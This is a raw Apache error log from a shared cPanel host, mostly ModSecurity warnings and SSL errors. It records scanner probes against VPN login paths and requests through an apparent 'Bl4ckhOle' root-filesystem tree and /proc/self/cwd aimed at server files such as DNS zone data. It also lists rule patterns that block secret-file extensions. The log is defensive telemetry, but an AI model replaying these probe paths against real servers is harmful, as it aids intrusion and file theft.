[Fri Jul 17 10:11:09.528693 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/logo192.png"] [unique_id "almyZWTem5UnhuySh-0oogAAAAA"]
[Fri Jul 17 10:11:09.529096 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/logo192.png"] [unique_id "almyZWTem5UnhuySh-0oogAAAAA"]
[Fri Jul 17 10:11:12.163761 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:54580] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:15.474255 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/favicon.ico"] [unique_id "almya2Tem5UnhuySh-0opgAAAAA"]
[Fri Jul 17 10:11:15.474569 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/favicon.ico"] [unique_id "almya2Tem5UnhuySh-0opgAAAAA"]
[Fri Jul 17 10:11:15.474968 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/favicon.ico"] [unique_id "almya2Tem5UnhuySh-0opgAAAAA"]
[Fri Jul 17 10:11:15.475013 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/favicon.ico"] [unique_id "almya2Tem5UnhuySh-0opgAAAAA"]
[Fri Jul 17 10:11:15.475024 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/favicon.ico"] [unique_id "almya2Tem5UnhuySh-0opgAAAAA"]
[Fri Jul 17 10:11:18.312130 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:54810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:19.084514 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:54826] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:19.451800 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:22/eject
[Fri Jul 17 10:11:19.486269 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:54874] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:19.911503 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:21.303394 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:60448] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:21.772726 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:60454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:22.263426 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:60488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:25.058566 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:60606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:26.540899 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:60708] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:26.892781 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:60748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:27.776912 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:60784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:28.053956 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:60792] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:28.710912 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:60808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:29.337899 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:60840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:29.914900 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:60858] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:30.880467 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:60932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:31.097197 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_35-english.pdf"] [unique_id "almye1muKRtYY-VAGIVXYgAAAAk"]
[Fri Jul 17 10:11:31.097564 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_35-english.pdf"] [unique_id "almye1muKRtYY-VAGIVXYgAAAAk"]
[Fri Jul 17 10:11:31.097909 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_35-english.pdf"] [unique_id "almye1muKRtYY-VAGIVXYgAAAAk"]
[Fri Jul 17 10:11:31.692218 2026] [core:error] [pid 2068143:tid 2068143] (13)Permission denied: [client 57.141.18.29:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory61/node0/cpu3/node0/memory92/subsystem/devices/memory50/subsystem/drivers_probe
[Fri Jul 17 10:11:31.956604 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_51-english.pdf"] [unique_id "almye3qWRBnLzLzgwXg0hQAAAAQ"]
[Fri Jul 17 10:11:31.957013 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_51-english.pdf"] [unique_id "almye3qWRBnLzLzgwXg0hQAAAAQ"]
[Fri Jul 17 10:11:31.957373 2026] [security2:error] [pid 2065293:tid 2065293] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_46_no_51-english.pdf"] [unique_id "almye3qWRBnLzLzgwXg0hQAAAAQ"]
[Fri Jul 17 10:11:32.551795 2026] [security2:error] [pid 2065293:tid 2065293] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyfHqWRBnLzLzgwXg0hgAAAAQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:11:32.551844 2026] [security2:error] [pid 2065293:tid 2065293] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyfHqWRBnLzLzgwXg0hgAAAAQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:11:32.713891 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:50748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:33.726718 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:50876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:34.307481 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:50900] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:35.280837 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:50948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:36.949964 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:51032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:37.401592 2026] [security2:error] [pid 2070772:tid 2070772] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almygTdaQZ1lgvSnnieIZwAAAAM"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:11:37.401672 2026] [security2:error] [pid 2070772:tid 2070772] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almygTdaQZ1lgvSnnieIZwAAAAM"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:11:37.623753 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:51060] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:38.373966 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51088] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:39.554797 2026] [authz_core:error] [pid 2065296:tid 2065296] [client 80.241.220.98:0] AH01630: client denied by server configuration: /home/colourmarklabels/public_html/wp-content/uploads/wpcf7_uploads/, referer: binance.com
[Fri Jul 17 10:11:39.989800 2026] [security2:error] [pid 2064879:tid 2064879] [client 57.141.18.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory48/subsystem/devices/memory58/subsystem/drivers/"] [unique_id "almyg2Tem5UnhuySh-0oqwAAAAA"]
[Fri Jul 17 10:11:39.989853 2026] [security2:error] [pid 2064879:tid 2064879] [client 57.141.18.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory48/subsystem/devices/memory58/subsystem/drivers/"] [unique_id "almyg2Tem5UnhuySh-0oqwAAAAA"]
[Fri Jul 17 10:11:40.127725 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:51186] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:40.623089 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:51234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:40.700810 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:51246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:41.675083 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:54072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:44.019692 2026] [security2:error] [pid 1993572:tid 1993572] [client 167.148.201.106:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/+webvpn+/index.html"] [unique_id "almyiIl9vhFBGA6D8l-HSwAAAAw"]
[Fri Jul 17 10:11:44.082455 2026] [security2:error] [pid 2065296:tid 2065296] [client 167.148.201.106:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/+CSCOE+/logon.html"] [unique_id "almyiKalZQB2GOvLY17dsAAAAAc"]
[Fri Jul 17 10:11:44.135475 2026] [security2:error] [pid 2064879:tid 2064879] [client 167.148.201.106:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/remote/login"] [unique_id "almyiGTem5UnhuySh-0orgAAAAA"]
[Fri Jul 17 10:11:44.189189 2026] [security2:error] [pid 2039911:tid 2039911] [client 167.148.201.106:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/global-protect/prelogin.esp"] [unique_id "almyiJBVIrrUwtEhdafecwAAAAU"]
[Fri Jul 17 10:11:44.361873 2026] [security2:error] [pid 2060590:tid 2060590] [client 167.148.201.106:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/dana-na"] [unique_id "almyiHv42nOn2tp5Eua2-AAAABA"]
[Fri Jul 17 10:11:44.413310 2026] [security2:error] [pid 2047046:tid 2047046] [client 167.148.201.106:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/sslvpnclient"] [unique_id "almyiE_0b3nWp8txtSDKrgAAAA0"]
[Fri Jul 17 10:11:46.457604 2026] [security2:error] [pid 2068138:tid 2068138] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/index.php"] [unique_id "almyhw4g1d3E329BkvVPgQAAAAE"], referer: binance.com
[Fri Jul 17 10:11:46.457641 2026] [security2:error] [pid 2068138:tid 2068138] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/index.php"] [unique_id "almyhw4g1d3E329BkvVPgQAAAAE"], referer: binance.com
[Fri Jul 17 10:11:46.869972 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:54522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:47.626022 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:54562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:48.907049 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:48.997874 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:49.030029 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:49.124634 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:49.240213 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:49.298768 2026] [core:error] [pid 2070772:tid 2070772] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:0b/eject
[Fri Jul 17 10:11:50.964751 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:51.014325 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:54.879126 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:56.085497 2026] [security2:error] [pid 2047046:tid 2047046] [client 47.128.48.154:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db"] [unique_id "almylE_0b3nWp8txtSDKtAAAAA0"]
[Fri Jul 17 10:11:56.086071 2026] [security2:error] [pid 2047046:tid 2047046] [client 47.128.48.154:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db"] [unique_id "almylE_0b3nWp8txtSDKtAAAAA0"]
[Fri Jul 17 10:11:56.086163 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 47.128.48.154:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db
[Fri Jul 17 10:11:56.086554 2026] [security2:error] [pid 2047046:tid 2047046] [client 47.128.48.154:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/var/named/happypuppyvet.com.db"] [unique_id "almylE_0b3nWp8txtSDKtAAAAA0"]
[Fri Jul 17 10:11:58.899189 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:41738] AH02013: coalesce failed to read from data bucket
